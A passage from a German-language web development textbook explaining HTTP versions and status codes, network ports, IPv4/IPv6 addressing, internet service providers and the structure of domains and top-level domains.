            HTTP (Hypertext Transfer Protocol) ist dasjenige Protokoll, das für die Bereitstellung/Darstellung von Websites benötigt wird. Während einer Anfrage eines Clients an einen Server (Request) oder während einer Antwort eines Servers an einen Client (Response) sorgt es dafür, dass die betreffenden Informationen übermittelt werden. Jede solche Information (oder auch Nachricht) ist in zwei Teile aufgeteilt: Der Header beinhaltet beispielsweise Informationen zur Datenkodierung oder zum Typ der übertragenen Daten (vergleiche hierzu auch Abschnitt 3.5), der Body (oder auch Rumpf ) beinhaltet dann die eigentlichen Nachrichtendaten.

            Es handelt sich bei HTTP außerdem um ein zustandsloses Protokoll, das mehrere Anfragen eines Systems (z. B. eines Browsers) an ein anderes System (z. B. einen Server) grundsätzlich als separate Transaktionen behandelt und sie somit nicht speichert.

            Seit der Entwicklung bzw. Veröffentlichung von HTTP im Jahr 1991 und der Weiterentwicklung zur ersten wirklich verwendbaren Version im Jahr 1997 hat sich viel getan. Im Jahr 1999 wurde HTTP/1.1 veröffentlicht, das eines der wesentlichen Probleme von HTTP/1 löste: Während HTTP/1 nur zwei TCP-Anfragen zur selben Zeit an ein entferntes System ermöglicht, sind in HTTP/1.1 mehrere (üblicherweise sechs) gleichzeitige Anfragen möglich.

            HTTP/2, veröffentlicht 2015, sollte auf der anderen Seite vor allem die Übertragung von Daten beschleunigen und optimieren – mit der Absicht, vollständig abwärtskompatibel zu HTTP/1.1 zu sein. Neben diesen sehr wesentlichen Eigenschaften sind weitere Möglichkeiten hinzugekommen:

            
                	
                    Zusammenfassen mehrerer Anfragen

                

                	
                    verbesserte Datenkompression sowie binärkodierte Übertragung von Inhalten

                

                	
                    Priorisierung einzelner Datenströme (Streams)

                

                	
                    Server-initiierte Datenübertragung (die sogenannte »Push-Methode«)

                

            

            Ersteres ist der Grundstein für die Beschleunigung in der Datenübertragung; die Kompressionsmethode HPACK verbessert die Datenkompression, indem HPACK nun auch die Kopfdaten mit in die Kompression integrieren kann, und die Server-initiierte Datenübertragung verringert die Latenz zwischen Client und Server.

            
                [Info]  Latenz

                Unter der Latenz versteht man die Zeit zwischen dem Auftreten eines Ereignisses und dem Auftreten eines erwarteten Folgeereignisses.

            

            Während HTTP/2 noch auf TCP aufsetzt, baut das 2018 entworfene und 2022 beschlossene HTTP/3 auf UDP auf. Das ist deshalb möglich, weil die Datenströme bei HTTP/3 getrennt verarbeitet werden.

            Dennoch ist die Frage noch nicht beantwortet, ob HTTP/1.1, HTTP/2 oder HTTP/3 das Protokoll unserer Wahl ist. Die Antwort ist dennoch sehr einfach: Bei der Webentwicklung können wir uns das Protokoll nicht aussuchen, denn einerseits muss der Server das Protokoll verwenden und andererseits muss der Browser das Protokoll verstehen. Dies ist laut heutigem Stand (2023) vor allem HTTP/2 im Falle (halbwegs) moderner Provider und HTTP/1.1 im Falle etwas älterer Provider. Für HTTP/3 ist derzeit noch kein Platz, leider.

            Allen Versionen des Protokolls ist jedoch gemeinsam, dass sie mit Statuscodes arbeiten, um den Erfolg einer Anfrage an ein System (Request) mit einer Antwort (Response) darzustellen. Einige dieser Statuscodes – wie etwa der bekannte Code 404 für »Dokument nicht gefunden« – sind bekannt. Recht wesentlich ist jedoch die Erkenntnis, dass es mehrere Spannen dieser Statuscodes gibt:

            
                	
                    1xx – Informationen: Sehen Sie einen Statuscode, der mit 1 beginnt, dauert die Bearbeitung des Requests noch an, obwohl bereits eine Rückmeldung an den Client erfolgt. Man spricht von einer »Zwischenantwort«, die notwendig ist, da Clients nach einer gewissen Zeitspanne davon ausgehen, dass das angefragte System nicht mehr antwortet, da serverseitig ein Fehler aufgetreten ist. Die Statusinformation 100 besagt beispielsweise, dass die laufende Anfrage am Server noch nicht zurückgewiesen wurde.

                

                	
                    2xx – Erfolgreiche Operation: Die Anfrage des Clients wurde erfolgreich bearbeitet, die Rückantwort des Servers an den Client ist erfolgt. Die meist erhoffte Operation ist 200; sie besagt, dass alles glattgegangen ist.

                

                	
                    3xx – Umleitung: In manchen Fällen kann die Anfrage des Clients vorerst nicht beantwortet werden, da weitere Schritte des Clients notwendig sind. In vielen Fällen betrifft dies Anfragen nach Dokumenten, die unter der angefragten URL nicht mehr verfügbar sind. Der Server jedoch »weiß«, welche URL der Client anfragen müsste. Diese URL teilt er dem Client nun mit, um eine neuerliche Anfrage an den Server zu stellen. Beispielsweise besagt die Umleitung 302, dass die angeforderte Resource (z. B. ein PHP-Dokument) nunmehr unter einer anderen Adresse bereitgestellt wird.

                

                	
                    4xx – Client-Fehler: Man unterscheidet bei einer Anfrage eines Clients an einen Server zwei Arten von Fehlern: Fehler, die ein Client verursacht hat, und Fehler, die ein Server verursacht hat. Im Falle von 400er-Fehlern handelt es sich um clientseitige Fehler. Die bekanntesten Fehler sind die Fehler 404 (»Dokument nicht gefunden«), der gemeldet wird, wenn ein Client versucht, auf ein Dokument zuzugreifen, das nicht existiert; sowie der Fehler 403 (»Verboten«), wenn ein Client einen Zugriff auf ein Dokument versucht, auf das er keinen Zugriff hat (beispielsweise auf ein geschütztes Dokument, das nur serverseitig verfügbar ist).

                

                	
                    5xx – Server-Fehler: Bei 5xx-Fehlern liegt das Problem auf Serverseite. Beispielsweise tritt dieser Fehler auf, wenn in einem serverseitigen Code ein Fehler existiert und der Programmcode nicht ausgeführt werden kann. Der Fehler 500 (»Serverfehler«) ist ein sehr unangenehmer Fehler, da er im Wesentlichen nur mitteilt, dass am Server (irgendein) Fehler aufgetreten ist.

                

            

            Neben dem Statuscode wird im Header der Antwort des Servers an den Client eine (englischsprachige) Beschreibung des Status übermittelt. Bei einem Fehler 404 ist dies beispielsweise der Text »Not Found«, der gegebenenfalls clientseitig weiterverarbeitet wird.

        
        
            3.2.2    Ports – die Türchen der Protokolle

            Betrachtet man die Kommunikation zwischen dem Gerät des Users und einer Server-Hardware (Server), so fällt auf, dass es Situationen gibt, in denen ein und dasselbe Gerät mehrmals (und vielleicht sogar gleichzeitig/parallel) mit demselben Server kommunizieren möchte. Ohne bereits ins Detail der Kommunikation zu gehen: Es muss gewährleistet sein, dass dieser eine Server auf die unterschiedlichen Anfragen immer eindeutig antworten kann. Aus diesem Grund verwendet das Gerät des Users für die Anfrage an einen Server eine zusätzliche Information namens Port. Diese beschreibt im Wesentlichen nicht mehr als eine Art Postfach, an das der Server seine Antwort liefern darf. Diese Ports nennen wir dynamische Ports.

            Demgegenüber werden den unterschiedlichen Diensten (respektive den Protokollen, die den Diensten zugewiesen sind) ebenso Ports zugewiesen. In diesem Fall spricht man von den well-known Ports und den registrierten Ports (je nach Portbereich).

            Insgesamt existieren 65.536 Ports (16 Bit = 216 = 65.536), von denen die ersten 1024 Ports (also diejenigen von 0–1023) die oben angesprochenen well-known Ports (oder auch Standardports) darstellen. In diesem Bereich befinden sich die Ports, die zu den Protokollen der oben genannten Dienste gehören (siehe Tabelle 3.1).
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            Tabelle 3.1    
            Protokolle und ihre Ports

            Die Ports zwischen 1024 und 49.151 nennt man registrierte Ports. Bei den Ports mit noch höheren Nummern handelt es sich dann um die dynamischen Ports, also um diejenigen Ports, die von Clients für die Anfrage an einen Server verwendet werden.

            Eine vollständige Auflistung aller Ports finden Sie bei Interesse unter https://de.wikipedia.org/wiki/Liste_der_standardisierten_Ports.

        
    


                    
                        
        3.3    IP-Adressen – unsere Anschrift im Internet

        Hat man nun einmal die Grundlagen geschaffen, dass Kommunikation funktionieren kann, so muss man sich anschließend dem Problem stellen, wie die Kommunikation funktionieren wird. Überdenken Sie Kommunikation im realen Leben, so ist völlig klar, dass Sie, wenn Sie mit einer Person – beispielsweise per Brief – kommunizieren möchten, auch deren Postadresse kennen müssen. Das gilt für beide Seiten:

        
            	
                Sie kennen die Postadresse einer Person und sind demnach in der Lage, an diese Postadresse einen Brief zu versenden.

            

            	
                Haben Sie auf dem Brief die eigene Adresse vermerkt (oder kennt der Empfänger Ihre Adresse), so kann der Empfänger auf Ihren Brief antworten.

            

        

        (In etwa) so muss man sich auch die Kommunikation über Netzwerke vorstellen, wobei die »Adresse« in diesem Fall die sogenannte IP-Adresse ist. Sie basiert auf dem Internet Protocol (IP), wie in Abschnitt 3.2 beschrieben.

        Um die gewünschte Kommunikation zwischen Geräten zu ermöglichen, muss einem jeden an der Kommunikation beteiligten Gerät eine eindeutige IP-Adresse zugewiesen werden. Ganz korrekt ist das nicht, da eine Kommunikation auch über »vermittelnde« Systeme wie beispielsweise private Netze, NAT (Network Address Translation) oder ähnliche möglich wäre. Da dieser einleitende Teil jedoch nicht zu technisch werden soll, verzichte ich (zunächst) auf eine Beschreibung von »Ausnahmen von der Regel«.

        IP-Adressen benötigen einen vorgegebenen Aufbau, wie dies auch im Falle der Post-Adressen notwendig ist. Je nach Version des Internet-Protokolls (v4 oder v6) können unterschiedlich viele (eindeutige) Adressen abgedeckt werden.

        
            3.3.1    IPv4 – sind 4,3 Milliarden Adressen zu wenig?

            Die vierte Version des Internet-Protokolls wurde im Jahr 1981 eingeführt und war die erste wirklich verbreitete Version dieses Protokolls. Im Rahmen von IPv4 werden IP‐Adressen als 32-Bit-Zahlen in vier 8-Bit-Blöcken (28 = 256 Möglichkeiten, also etwa Zahlen von 0–255) dargestellt:

            0–255.0–255.0–255.0–255, also etwa 213.97.199.142

            Hieraus ergeben sich 232 = 4,3 Milliarden unterschiedliche IP-Adressen. Diese Zahl reduziert sich auf ca. 3,7 Milliarden Adressen, da manche Adressbereiche für andere Zwecke reserviert wurden und deshalb nicht zur Verfügung stehen:

            
                	
                    private Netze: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16

                

                	
                    Testnetze: 192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24

                

                	
                    andere Verwendungen

                

            

            
                [»]  Subnetze

                Vielleicht ist Ihnen bei der Angabe der IP-Adressen der obigen Netze aufgefallen, dass am Ende der Adresse ein Schrägstrich und eine Zahl folgen. Dies ist die Angabe eines Subnetzes, das verwendet wird, um Netzwerke zu strukturieren, zu segmentieren oder auch um Adressräume einzusparen. Wenn Sie darüber mehr wissen möchten, können Sie hier weiterlesen: https://de.wikipedia.org/wiki/Subnetz.

            

            Die Vergabe der IP-Adressen an die Länder der Welt erfolgt zunächst einmal durch die IANA (Internet Assigned Numbers Authority), die eine Abteilung der ICANN (Internet Corporation for Assigned Names and Numbers) ist. Sie verteilt die zur Verfügung stehenden IP-Adressen an die RIRs (Regional Internet Registries), die eine regionale Weiterverteilung übernehmen. Das Wort »regional« ist hierbei etwas irreführend, da sich »regional« in diesem Fall auf ganze Kontinente bezieht (siehe Abbildung 3.2).

            Die RIRs erhalten von der IANA IP-Adressblöcke zugewiesen, die diese an ihre lokalen Vertreiber (die LIRs – Local Internet Registries; in der Regel sind dies die Internet Service Provider) weitergeben. Diese LIRs bedienen den Endkunden.

            Die ursprüngliche Intention war, dass die IP-Adressen in /8-Blöcken (CIDR-Notation; siehe etwa https://de.wikipedia.org/wiki/Classless_Inter-Domain_Routing) verteilt werden, die den RIRs und somit den Regionen zugeordnet sind, wobei solche /8-Blöcke 224 = 16,8 Millionen Adressen beinhalten.

            
                [image: Die regionalen Verwaltungsbereiche der IP-Adressen.(Quelle: Von Rir.gif: DorkBlankMap-World6,_compact.svg: Canuckguy et al.derivative work: Sémhur (talk) - Rir.gifBlankMap-World6,_compact.svg, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5810575)]

                Abbildung 3.2    
            Die regionalen Verwaltungsbereiche der IP-Adressen.
(Quelle: Von Rir.gif: DorkBlankMap-World6,_compact.svg: Canuckguy et al.derivative work: Sémhur (talk) - Rir.gifBlankMap-World6,_compact.svg, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=5810575)

            
            Da jedoch der Bedarf an IP-Adressen je RIR immer weiter wuchs, kann heute aus einer IP-Adresse nicht mehr geschlossen werden, aus welcher Region sie stammt. Man spricht von einer »Fragmentierung der IP-Adressbereiche«, die technisch wiederum einige Probleme aufwirft (lange Routingtabellen).

            
                [image: Freie IP-Adressen.(Quelle: Von Mro - Based on data from http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml and http://bgp.potaroo.net/ipv4-stats/prefixes.txt, CC BY‐SA 4.0, https://commons.wikimedia.org/w/index.php?curid=10593349)]

                Abbildung 3.3    
            Freie IP-Adressen.
(Quelle: Von Mro - Based on data from http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml and http://bgp.potaroo.net/ipv4-stats/prefixes.txt, CC BY‐SA 4.0, https://commons.wikimedia.org/w/index.php?curid=10593349)

            
            Bereits Anfang der 1990er-Jahre war klar, dass diese Anzahl an Adressen zukünftig nicht mehr ausreichen wird. (Dies würde ja bedeuten, dass maximal 4,3 Milliarden Geräte im Internet aktiv sein dürften, was angesichts der Weltpopulation und der pro Person verwendeten Geräte eindeutig zu wenig wäre.) Deshalb wurde in mehreren Zwischenvarianten schlussendlich zu IPv6 gewechselt. Das Problem bei einem derartigen Wechsel von einem System zu einem anderen liegt jedoch leider weniger in der softwaretechnischen Umsetzung (die relativ einfach um- und einsetzbar wäre), als vielmehr in der für den Datenverkehr notwendigen Hardware. Die letzten /8-Blöcke wurden im September 2012 vergeben (vgl. auch Abbildung 3.3) – seitdem werden nur noch kleine /24-Blöcke, die aufgrund von Rückgaben an die IANA verfügbar sind, in Form von Wartelistenplätzen an die RIRs vergeben.

        
        
            3.3.2    IPv6 – mehr als ausreichend viele Adressen

            Um der stetig steigenden Nachfrage an IP-Adressen gerecht zu werden, wurde bereits im Jahr 1988 die sechste Version des Internet-Protokolls veröffentlicht. Obwohl die technische Realisierung ohne Probleme möglich wäre, verbreitet sich IPv6 nur zögerlich. Einer der Hauptgründe hierfür ist die Angst vor einem Verlust der Anonymität: Mit IPv4 ist es aufgrund der Adressknappheit nicht möglich, einem Gerät eines Users eine mehr oder weniger »statische« (also immer gleiche) IP-Adresse zuzuweisen; IPv6-Adressen sind von Haus aus jedoch statisch. Die Vorteile von Ipv6 gegenüber IPv4 sind hingegen mehr als deutlich:

            
                	
                    Ungleich mehr IP-Adressen: Anstatt von 232 = 4,3·109 Adressen käme man nun auf 2128 = 3,4·1038 Adressen, was eine Vergrößerung um den Faktor 7,9·1028 bedeutet.

                

                	
                    Vereinfachter/verbesserter Protokollrahmen: Dies bringt eine Entlastung der Router in Hinblick auf deren Rechenaufwand.

                

                	
                    Implementierung von IPSec: Dadurch wird eine Verschlüsselung von IP-Paketen möglich.

                

                	
                    Unterstützung weiterer Netzwerktechniken (Multicast etc.)

                

                	
                    etc.

                

            

            Allein die Erhöhung der Anzahl von IP-Adressen würde eine wesentliche Erleichterung bilden: Wird einer Privatperson heutzutage in der Regel nur eine IP-Adresse zugewiesen, die dann mittels Network Address Translation in ein Subnetz übergeführt wird, um mehreren Geräten den Zugang zum Internet zu ermöglichen, so wäre mit IPv6 der gleichzeitige Betrieb vieler Geräte/Dienste möglich. Auch das Internet of Things (IoT) würde damit ein Stück näher in Richtung einer sinnvollen und durchgängigen Nutzung gerückt.

            Da im Rahmen von IPv6 sehr viel mehr Adressen abgedeckt sind, erweist sich die Schreibweise in dezimaler Notation als nicht praktikabel (die Adressen würden einfach zu lang werden). Aus diesem Grund greift man auf eine hexadezimale Notation zurück, bei der die IP-Adresse in acht Blöcke á 16 Bit (vier hexadezimale Stellen) unterteilt wird und die einzelnen Blöcke durch Doppelpunkte voneinander getrennt werden. Das sieht dann so aus:

            2001:0db8:85a3:08d3:1319:8a2e:0370:7344

            Es existieren einige Regeln für abgekürzte Schreibweisen, die Sie beispielsweise unter https://de.wikipedia.org/wiki/IPv6 nachschlagen können. Für unser Thema sind diese Regeln aber nicht von Belang.

        
        
            3.3.3    Internet Service Provider sind das Tor zur Internetwelt

            Üblicherweise werden die IP-Adressen von Internet Service Providern (ISPs; oft auch nur Provider genannt) an deren Endkunden weitergegeben. Jeder Haushalt (Kunde) erhält hierdurch eine eigene IP-Adresse, auf die das vom ISP bereitgestellte Modem konfiguriert wird. Neben dem Modem erhält ein Kunde auch einen Router, über den das Bilden eines Subnetzes möglich wird (Modem und Router sind üblicherweise in einem Gerät vereint). Dies wiederum ermöglicht, dass ein Haushalt mehrere Geräte im Internet nutzen kann, wobei der Router synchron eine Anfrage eines Gerätes nach dem anderen durchführt und somit das Nadelöhr zum Internet darstellt.

            Je nach Größe des Providers unterscheidet man drei sogenannte Tiers (dt. »Ränge«):

            
                	
                    Tier-1-Provider: große autonome Netze, die keinen Transit (siehe »Tier-2-Provider«) kaufen, sondern nur mit anderen Tier-1-Providern kooperieren (»peeren«). Beispiele sind: Deutsche Telekom, AT&T und Lumen (USA) etc.

                

                	
                    Tier-2-Provider (»Transit-Provider«): Zu diesen zählen die meisten autonomen Systeme im Internet. Sie kaufen Konnektivität von Tier-1-Providern und verkaufen Konnektivität an Tier-3-Provider. Gleichzeitig peeren solche Provider mit anderen Tier-2-Providern. In seltenen Fällen verkaufen Tier-2-Provider Konnektivität direkt an den Endkunden.

                

                	
                    Tier-3-Provider: Provider dieser Klasse kaufen Konnektivität von Tier-2-Providern, peeren mit anderen Tier-3-Providern und verkaufen Konnektivität an Endkunden.

                

            

            Die Kosten für den Endkunden werden an mehreren Faktoren gemessen (die angegebenen Werte beziehen sich auf den aktuellen Stand von 2023):

            
                	
                    Downstream-Geschwindigkeit: Sie bestimmt, wie schnell Daten aus dem Internet geladen werden können. Aktuelle Raten sind durchschnittlich bei 30 bis 300 MBit/s (Megabit pro Sekunde).

                

                	
                    Upstream-Geschwindigkeit: Sie bestimmt, wie schnell Daten in das Internet (hoch-)geladen werden können. Dieser Wert ist üblicherweise geringer als der Downstream-Wert, da der Upload für die meisten Kunden weniger wichtig ist. Übliche Werte liegen bei 10 bis 100 MBit/s.

                

                	
                    Synchrone oder asynchrone Anbindung: »Synchron« bedeutet, dass die Upstream- und die Downstream-Geschwindigkeit identisch sind; »asynchron« bedeutet sinngemäß das Gegenteil.

                

                	
                    Statische oder dynamische IP-Adresse: Eine statische IP-Adresse bedeutet, dass ein Kunde eine eindeutige IP-Adresse für sich reserviert, die sich anschließend nicht mehr ändert. Da ein Provider jedoch nur über einen eingeschränkten IP-Adressbereich verfügt, ist eine statische Zuweisung für ihn nachteilig: Eine dynamische IP-Adresse könnte er einem Kunden B zuweisen, wenn Kunde A diese Adresse gerade nicht benötigt. Aus diesem Grund sind statische IP-Adressen teurer.

                

            

            Die üblichen Anbindungskosten über einen ISP liegen bei etwa 40 EUR für eine Kupfer- und 60 EUR für eine Lichtleiteranbindung. Konkret spricht man hier von der Last Mile, also von dem letzten Stück von der Verteilerstelle des ISP zum Haushalt. Je neuer/jünger die Anbindung ist, umso eher erfolgt eine Anbindung über Lichtwellenleiter (LWL).

            
                [Info]  Lichtwellenleiter, Glasfaser? Was ist gemeint?

                Es gibt viele Synonyme für einen Lichtleiter: Lichtwellenleiter, Glasfaserkabel, optisches Kabel. Lassen Sie sich davon nicht beirren: Es ist immer dasselbe gemeint.

            

            
                Glasfaser oder Kupfer?

                Jede Datenkommunikation erfolgt über Leitungen und/oder Funkverbindungen. Da selbst die Lichtgeschwindigkeit in Lichtwellenleitern nicht unendlich schnell ist, benötigt jedes gesendete Datenpaket eine gewisse Zeit für die Übertragung. In der Regel hat man es aber gar nicht ausschließlich mit Lichtwellenleitern zu tun, sondern sehr oft mit einfachen Kupferkabeln.

                Dennoch muss man hier die Kirche im Dorf lassen, denn die Ausbreitungsgeschwindigkeit allein macht nicht die Leistung der Verbindung aus. Würden Sie die Geschwindigkeiten nämlich vergleichen, so würden Sie rasch feststellen, dass die Ausbreitungsgeschwindigkeit einer elektromagnetischen Welle in einem Kupferkabel 230.000 km/s beträgt, wohingegen die Lichtgeschwindigkeit in einem Glasfaserkabel (wo die Signale nach einer Art Morse-Prinzip übertragen werden) nur bei ca. 200.000 km/s liegt (im Vakuum wären es 300.000 km/s). Der Vorteil der Glasfaser liegt vielmehr in folgenden Punkten:

                
                    	
                        Die Bandbreite von Glasfaserkabeln ist aufgrund der Lichtmodulation (Licht an, Licht aus: Morse-Prinzip) wesentlich höher als bei Kupferkabeln: Die Lichtmodulation in Glasfaserleitungen erfolgt bei wesentlich höheren Frequenzen (ca. 60 THz = 60 Billionen Schwingungen pro Sekunde) als die elektromagnetische Modulation in Kupferkabeln (bei G.Fast ca. 212 MHz = 212 Millionen Schwingungen pro Sekunde).

                    

                    	
                        Ein elektromagnetisches Signal wird mit der Entfernung (also der Länge einer Leitung) schwächer, weshalb es öfter regeneriert werden muss. Die optische Datenübertragung ist von diesem Problem nur sehr bedingt betroffen.

                    

                    	
                        Elektromagnetismus ist von Wechselwirkungen betroffen (parallel liegende Stromkabel, Magnete etc.), die optische Datenübertragung nicht.

                    

                

                Das Hauptproblem im Falle von Kupferkabeln (oder anderen Kabeln) liegt somit nicht in der Übertragungsgeschwindigkeit, sondern in der Fehlerrate, die sich mit der Kabellänge erhöht. Aus diesem Grund kann man wie folgt zusammenfassen:

                
                    	
                        Kupferleitungen (oder ähnliche Leitungen) sind für kurze Distanzen sehr gut geeignet: Aus diesem Grund ist die Last Mile oftmals als Kupferleitung ausgeführt.

                    

                    	
                        Glasfaserleitungen sind für lange Distanzen geeignet: für Leitungen, die über Ozeane geführt werden oder Knotenpunkte miteinander verbinden.

                    

                

            
        
    


                    
                        
        3.4    Domains

        Wie ich in den vorangegangenen Abschnitten beschrieben habe, wäre eine Kommunikation zwischen zwei Geräten rein über die IP-Adressen möglich. Dies bedeutet jedoch auch, dass die IP-Adressen bekannt sein müssen. Haben wir jedoch die Situation, dass ein User mithilfe seines Webclients (Browsers) einen Webserver kontaktieren muss, um die gewünschte Website zu sehen, ist das ebenfalls nichts anderes als eine Kommunikation zwischen zwei Geräten: zwischen dem Gerät des Users, auf dem der Browser installiert ist, und dem Gerät des Providers, auf dem die Webserver-Software des Website-Betreibers installiert ist.

        Natürlich ist uns allen bekannt, dass wir in unserer Rolle als User wirklich sehr, sehr selten (bis wahrscheinlich nie) eine Website über ihre zugehörige IP-Adresse aufgerufen haben. Vielmehr bedienen wir uns einer Domain, die wir in unseren Browser eingeben, um die betreffende Website öffnen zu können. Dies bedingt jedoch, dass die Domain, die ein User eingibt, auf irgendeine Art mit der IP-Adresse des zugehörigen Servers in Verbindung steht.

        Dies ist in der Tat der Fall, und die entsprechende Namensauflösung werden wir uns in den folgenden Abschnitten noch genauer ansehen. Es wäre in Wahrheit auch nicht praktikabel, müsste ein User die IP-Adresse eines Servers kennen. Wie Sie bereits aus den vorangegangenen Abschnitten wissen, ist bereits eine IPv4-Adresse schwer zu merken. Müssten Sie sich eine IPv6-Adresse merken, so wäre das wohl ein unmögliches Unterfangen.

        Die vorerst für unser Verständnis wichtigeren Fragen lauten: Wie sind Domains aufgebaut, welche Spielarten von Domains existieren und worauf müssen Sie achten?

        Eine Domain ist hierarchisch aufgebaut, wobei die einzelnen Teile des Aufbaues durch Punkte voneinander getrennt sind. Des Weiteren wird eine Domain von rechts nach links gelesen: Der am weitesten rechts stehende Teil stellt die oberste Hierarchie dar usw. Betrachten wir das Beispiel der Domain www.orf.at:

        
            	
                Die oberste Hierarchie stellt die Angabe at dar – sie wird mit dem Begriff Top-Level Domain beschrieben.

            

            	
                Danach folgt der eigentliche Domainname orf, der als Second-Level Domain bezeichnet wird.

            

            	
                Der Name des Dienstes www stellt in diesem Beispiel eine freiwillige Ebene dar, die als Third-Level Domain bezeichnet wird.

            

        

        Zusammen bilden die einzelnen Teile einer Domain den Fully Qualified Domain Name (FQDN), wobei gilt:

        
            	
                Jeder Abschnitt des FQDN darf maximal 63 Zeichen lang sein.

            

            	
                Die Gesamtlänge des FQDN liegt bei 255 Zeichen.

            

        

        Gemeinhin ist eine Unterteilung der Domain in drei Teile nicht notwendig – lediglich die ersten beiden Teile sind von Bedeutung. In der Praxis verwendet man die Third-Level Domain gern als sogenannte Sub-Domain, um beispielsweise unterschiedliche Dienste, die über dieselbe Domain laufen sollen, zu unterteilen:

        
            	
                Webserver: www.orf.at

            

            	
                Mailserver: mail.orf.at

            

            	
                FTP-Server: ftp.orf.at

            

        

        
            [»]  Das Root-Label

            Streng genommen ist die obige Schreibweise nicht vollständig korrekt, da vor einer Top-Level Domain noch das Root-Label angegeben wird. Da jedoch das Root-Label immer leer ist, würde sich folgender FQDN ergeben:

            www.orf.at

            Man beachte den Punkt am Ende der Domain, der das Root-Label von der Top-Level Domain trennt.

        

        
            3.4.1    Top-Level Domain (TLD) – der Ausgangspunkt

            Die Top-Level Domains sind in zwei Hauptgruppen und einen Sonderfall unterteilt:

            
                	
                    Generische TLDs, die wiederum in gesponserte, nicht gesponserte und allgemeine TLDs unterteilt werden

                

                	
                    länderspezifische TLDs

                

                	
                    Sonderfall: Infrastruktur-TLDs wie .arpa und .root

                

            

            
                Generische Top-Level Domains

                Wie oben erwähnt werden die generischen Top-Level Domains in zwei Untergruppen unterteilt, wobei die (sehr viel wichtigeren) ungesponserten TLDs (uTLD) von der ICANN und der Internet Society, die gesponserten TLDs (sTLD) von unabhängigen Organisationen verwaltet werden. Letztere sind in der Lage, eigene Vergaberichtlinien festzulegen: Beispielsweise wird die TLD mil vom amerikanischen Militär verwendet und ist somit nicht öffentlich zugänglich/registrierbar. Tabelle 3.2 zeigt Beispiele.

                
                    
                        
                            	
                                uTLD

                            
                            	
                                sTLD (Auswahl)

                            
                        

                        
                            	
                                Kürzel

                            
                            	
                                Bedeutung

                            
                            	
                                Zweck

                            
                            	
                                Kürzel

                            
                            	
                                Bedeutung

                            
                            	
                                Zweck

                            
                        

                    
                    
                        
                            	
                                biz

                            
                            	
                                business

                            
                            	
                                ausschließlich für kommerzielle Verwendung, de facto jedoch frei zugänglich

                            
                            	
                                .edu

                            
                            	
                                educational

                            
                            	
                                seit 2001 auf Bildungseinrichtungen beschränkt (fast ausschließlich US-amerikanische Universitäten und Colleges)

                            
                        

                        
                            	
                                .com

                            
                            	
                                commercial

                            
                            	
                                ursprünglich für Unternehmen erdacht, seit längerer Zeit jedoch frei zugänglich

                            
                            	
                                .gov

                            
                            	
                                government

                            
                            	
                                Regierungsorgane der USA

                            
                        

                        
                            	
                                .info

                            
                            	
                                information

                            
                            	
                                ursprünglich für Informationsanbieter gedacht, jedoch seit jeher frei zugänglich

                            
                            	
                                .mil

                            
                            	
                                military

                            
                            	
                                militärische Einrichtungen der USA

                            
                        

                        
                            	
                                .name

                            
                            	
                                name

                            
                            	
                                für natürliche Personen oder Familien, de facto jedoch frei zugänglich

                            
                            	
                                .xxx

                            
                            	
                                sex

                            
                            	
                                erotische und sexuelle Inhalte

                            
                        

                        
                            	
                                .net

                            
                            	
                                network

                            
                            	
                                für Netzverwaltungs-Einrichtungen, jedoch mittlerweile frei zugänglich

                            
                            	
                            	
                            	
                        

                        
                            	
                                .org

                            
                            	
                                organization

                            
                            	
                                für nichtkommerzielle Organisationen (Non-Profit Organizations), jedoch seit 2003 frei zugänglich

                            
                            	
                            	
                            	
                        

                        
                            	
                                .pro

                            
                            	
                                professionals

                            
                            	
                                für »qualifizierte Fachkräfte« erdacht

                            
                            	
                            	
                            	
                        

                    
                

                Tabelle 3.2    
            Gesponserte Domains sind nicht wenige, werden aber dennoch in ihrer Anzahl von den nicht gesponserten Domains übertroffen.

                Neben den oben dargestellten TLDs existiert seit 2012 ein Vergabeverfahren, in dem Anträge auf neue TLDs eingebracht werden können. Etwa alle zwei Jahre wird auf Basis dieser Anträge entschieden, welche neuen TLDs zugänglich gemacht werden. Dies können ebenso Städtenamen (.berlin) wie auch Berufs- oder Spartenbezeichnungen (.radio) oder allgemeine Ausdrücke (.rocks, .sports, .io) sein. Das Ziel hierbei ist es, ein breiteres Spektrum an TLDs anbieten zu können.

            
            
                Länderspezifische Top-Level Domains

                Es existieren etwa 200 länderspezifische TLDs, wobei diese in zweistelliger Notation laut dem ISO-Standard 3166 ausgeführt sind. Von dieser Regel existieren einige wenige Ausnahmen wie etwa die TLD von Großbritannien (.uk anstatt .gb) oder auch die TLD der EU (die bekanntermaßen kein Staat, sondern ein Staatenbund ist). Bekannte Beispiele wären etwa .at, .de, .it, .es usw.

                Jeder Staat hat das Recht, eigene Vergaberichtlinien für die ihm zugewiesene TLD zu treffen. Zumeist entscheidet sich der Staat dafür, die Nutzung der TLD den eigenen Bürgern wie auch den ansässigen Unternehmen und Institutionen zur Verfügung zu stellen. Auch ist es einem jeden Staat selbst überlassen, ob die Nutzung der TLD auch auswärtigen Personen oder Unternehmen ermöglicht wird oder nicht. Beispielsweise war die Nutzung der TLD von Frankreich (.fr) bis 2011 nur denjenigen Personen oder Unternehmen vorbehalten, die einen Wohn- oder Firmensitz (also eine Postadresse) in Frankreich besaßen. Seit 2011 dürfen alle in der EU ansässigen Personen und Unternehmen eine solche TLD beantragen.

                Es gibt zahlreiche Beispiele für die unterschiedlichen Herangehensweisen von Staaten. Dies geht so weit, als dass sich manche Staaten entschlossen, die eigene TLD zu verkaufen. Das Paradebeispiel stellt die TLD .tv dar, die eigentlich dem Zwergstaat Tuvalu gehört. Wie Sie sich leicht vorstellen können, ist diese TLD jedoch gerade bei Televisionsunternehmen sehr begehrt. Diese Tatsache machte sich Tuvalu zunutze und vermarktet die eigene Domain an Fernsehsender. Die Gewinne waren beträchtlich: Tuvalo nahm auf diese Weise mehr als 50 Millionen Dollar ein, was es ihm ermöglichte, einerseits IT-Infrastruktur für die wichtigsten staatlichen Einrichtungen zu beschaffen und andererseits die Aufnahmegebühr für die Vereinten Nationen zu begleichen.

                
                    [»]  Die zweite Namensebene

                    Zusätzlich zu den Länderkennzeichnungen existieren noch weitere Unterteilungen auf zweiter Namensebene, die eine genauere Charakterisierung der Nutzung ermöglichen. Beispiele sind:

                    
                        	
                            .ac.at (akademische Nutzung in Österreich),

                        

                        	
